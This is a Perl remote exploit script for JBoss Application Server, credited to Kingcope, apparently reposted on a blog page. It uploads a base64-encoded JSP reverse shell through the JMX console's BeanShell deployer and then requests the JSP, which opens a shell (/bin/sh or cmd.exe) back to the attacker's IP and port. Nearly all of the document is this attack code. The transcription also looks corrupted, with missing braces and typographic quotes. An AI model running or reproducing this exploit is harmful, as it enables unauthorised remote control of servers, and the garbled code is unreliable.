JBoss Application Server Remote Exploit

#JBoss AS Remote Exploit 

#by Kingcope 

##### 

  

use IO::Socket; 

use LWP::UserAgent; 

use URI::Escape; 

use MIME::Base64; 

  

sub usage { 

    print "JBoss AS Remote Exploit\nby Kingcope\n\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\n"; 

    print "example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\n"; 

    exit; 

  

if ($#ARGV != 4) { usage; } 

  

$host = $ARGV[0]; 

$port = $ARGV[1]; 

$myip = $ARGV[2]; 

$myport = $ARGV[3]; 

$com = $ARGV[4]; 

  

if ($com eq "lnx") { 

    $comspec = "/bin/sh"; 

  

if ($com eq "win") { 

    $comspec = "cmd.exe"; 

  

$|=1; 

  

$jsp=" 

<%@ 

page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\" 

%> 

            <%! 

                static class StreamConnector extends Thread 

                { 

                    InputStream is; 

                    OutputStream os; 

  

                    StreamConnector( InputStream is, OutputStream os ) 

                    { 

                        this.is = is; 

                        this.os = os; 

                    } 

  

                    public void run() 

                    { 

                        BufferedReader in  = null; 

                        BufferedWriter out = null; 

                        try 

                        { 

                            in  = new BufferedReader( new InputStreamReader( this.is ) ); 

                            out = new BufferedWriter( new OutputStreamWriter( this.os ) ); 

                            char buffer[] = new char[8192]; 

                            int length; 

                            while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) 

                            { 

                                out.write( buffer, 0, length ); 

                                out.flush(); 

                            } 

                        } catch( Exception e ){} 

                        try 

                        { 

                            if( in != null ) 

                                in.close(); 

                            if( out != null ) 

                                out.close(); 

                        } catch( Exception e ){} 

                    } 

                } 

            %> 

            <% 

                try 

                { 

                    Socket socket = new Socket( \"$myip\", $myport ); 

                    Process process = Runtime.getRuntime().exec( \"$comspec\" ); 

                    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); 

                    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); 

                } catch( Exception e ) {} 

            %>"; 

  

#print $jsp;exit; 

  

srand(time()); 

  

sub randstr 

    my $length_of_randomstring=shift;# the length of  

             # the random string to generate 

  

    my @chars=(‘a’..’z’,’A’..’Z’,’0′..’9′,’_’); 

    my $random_string; 

    foreach (1..$length_of_randomstring)  

    { 

        # rand @chars will generate a random  

        # number between 0 and scalar @chars 

        $random_string.=$chars[rand @chars]; 

    } 

    return $random_string; 

  

$appbase = randstr(8); 

$jspname = randstr(8); 

  

print "APPBASE=$appbase\nJSPNAME=$jspname\n"; 

  

$bsh_script =  

qq{import java.io.FileOutputStream;  

import sun.misc.BASE64Decoder; 

  

String val = "} . encode_base64($jsp, "") .  qq{"; 

  

BASE64Decoder decoder = new BASE64Decoder();  

String jboss_home = System.getProperty("jboss.server.home.dir");  

new File(jboss_home + "/deploy/} . $appbase . ".war" . qq{").mkdir();  

byte[] byteval = decoder.decodeBuffer(val);  

String jsp_file = jboss_home + "/deploy/} . $appbase . ".war/" . $jspname . ".jsp" . qq{";  

FileOutputStream fstream = new FileOutputStream(jsp_file);  

fstream.write(byteval);  

fstream.close(); }; 

  

#  

# UPLOAD  

#  

      

$params = ‘action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=’ . uri_escape($bsh_script)  

‘&argType=java.lang.String&arg1=’ . randstr(8) . ‘.bsh’; 

  

my $ua = LWP::UserAgent->new; 

$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13"); 

  

my $req = HTTP::Request->new(POST => "http://$host:$port/jmx-console/HtmlAdaptor"); 

  $req->content_type(‘application/x-www-form-urlencoded’); 

  $req->content($params); 

     

  print "UPLOAD… "; 

  my $res = $ua->request($req); 

  

  if ($res->is_success) { 

      print "SUCCESS\n"; 

      print "EXECUTE"; 

      sleep(5); 

      $uri = ‘/’ . $appbase . ‘/’ . $jspname . ‘.jsp’; 

        

      for ($k=0;$k<10;$k++) { 

      my $ua = LWP::UserAgent->new; 

      $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13"); 

      my $req = HTTP::Request->new(GET => "http://$host:$port$uri"); 

      my $res = $ua->request($req); 

  

        if ($res->is_success) { 

            print "\nSUCCESS\n"; 

            exit; 

        } else { 

            print "."; 

#               print $res->status_line."\n"; 

  

            sleep(5); 

        } 

      } 

      print "UNSUCCESSFUL\n"; 

  } 

  else { 

      print "UNSUCCESSFUL\n"; 

      print $res->status_line, "\n"; 

      exit; 

  }

 

 

发表评论?

0 条评论。

发表评论